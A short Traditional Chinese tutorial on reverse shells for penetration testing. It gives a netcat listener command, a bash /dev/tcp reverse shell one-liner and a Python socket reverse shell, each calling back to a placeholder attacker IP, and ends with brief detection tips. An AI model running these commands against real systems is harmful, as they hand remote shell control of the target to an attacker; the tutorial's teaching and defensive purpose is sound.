反彈 Shell 是滲透測試與紅隊演練中的核心技術之一。當攻擊者成功讓目標機器執行任意代碼時,如何建立一個可互動的遠端 Shell 連線回攻擊者的主機,即為反彈 Shell 的核心目的。簡單來說,正向連線是攻擊者主動連向目標,而反彈 Shell 則是目標主動連回攻擊者,這在目標位於防火牆後或 NAT 環境下極為實用。
在本地(攻擊者機器)使用 nc(Netcat)啟動監聽埠:
nc -lvp 4444
-l 代表監聽模式,-v 顯示詳細資訊,-p 指定埠號(此處為 4444)。
在目標 Linux 系統上執行以下 Bash 指令,將標準輸入、輸出、錯誤重導向至攻擊者的 IP 與埠:
bash -i >& /dev/tcp/攻擊者IP/4444 0>&1
bash -i:啟動互動式 Shell>&:將標準輸出與標準錯誤合併重導向/dev/tcp/IP/PORT:Bash 內建的 TCP 連線裝置0>&1:將標準輸入(fd 0)重導向至標準輸出(fd 1),完成雙向通訊python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'/dev/tcp(非 Bash 或已關閉),可改用 socat、ncat 或 msfvenom 產生的 Payload。execve 系統呼叫、監控異常網路連線(auditd、sysmon、eBPF 方案)。掌握反彈 Shell 不僅是滲透測試的基本功,更能幫助防禦者理解攻擊鏈,建立更完善的偵測與阻斷機制。